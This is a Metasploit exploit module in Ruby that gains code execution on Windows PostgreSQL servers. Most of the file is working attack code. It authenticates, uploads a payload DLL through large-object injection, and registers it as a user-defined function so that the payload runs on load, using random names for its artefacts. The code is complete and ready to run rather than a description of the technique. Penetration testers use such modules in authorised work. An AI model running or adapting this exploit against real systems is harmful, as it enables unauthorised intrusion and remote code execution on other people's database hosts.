##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Postgres
	include Msf::Auxiliary::Report
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	# Creates an instance of this module.
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',
			'Description'    => %q{
				On default Microsoft Windows installations of PostgreSQL the postgres
				service account may write to the current directory (which is usually
				"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
				major.minor version of PostgreSQL). UDF DLL's may be sourced from
				there as well.

				This module uploads a Windows DLL file via the pg_largeobject method
				of binary injection and creates a UDF (user defined function) from
				that DLL. Because the payload is run from DllMain, it does not need to
				conform to specific Postgres API versions.
			},
			'Author'         =>
			[
				'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
				'todb' # this Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ],
					[ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
				],
			'Platform'       => 'win',
			'Targets'        =>
			[
				[ 'Windows x86',       { 'Arch' => ARCH_X86 } ],
				[ 'Windows x86_64',    { 'Arch' => ARCH_X86_64 } ],
			],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
		))

		deregister_options('SQL', 'RETURN_ROWSET')
	end

	def check
		version = postgres_fingerprint

		if version[:auth]
			print_status "Authentication successful. Version: #{version}"
			return CheckCode::Vulnerable
		else
			print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
			return CheckCode::Safe
		end
	end

	def exploit
		version = do_login(username,password,database)
		case version
		when :noauth; print_error "Authentication failed."; return
		when :noconn; print_error "Connection failed."; return
		else
			print_status("#{rhost}:#{rport} - #{version}")
		end

		fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
		register_files_for_cleanup(fname)

		unless postgres_upload_binary_data(generate_payload_dll, fname)
			print_error "Could not upload the UDF DLL"
			return
		end

		print_status "Uploaded as #{fname}"
		begin
			func_name = Rex::Text.rand_text_alpha(10)
			postgres_query(
				"create or replace function pg_temp.#{func_name}()"+
				" returns void as '#{fname}','#{func_name}'"+
				" language c strict immutable"
			)
		rescue RuntimeError => e
			print_error "Failed to create UDF function: #{e.class}: #{e}"
		end
		postgres_logout if @postgres_conn

	end

	# Authenticate to the postgres server.
	#
	# Returns the version from #postgres_fingerprint
	def do_login(user=nil,pass=nil,database=nil)
		begin
			password = pass || postgres_password
			vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
			result = postgres_fingerprint(
				:db => database,
				:username => user,
				:password => password
			)
			if result[:auth]
				report_service(
					:host => rhost,
					:port => rport,
					:name => "postgres",
					:info => result.values.first
				)
				return result[:auth]
			else
				print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
				return :noauth
			end
		rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
			return :noconn
		end
	end


end
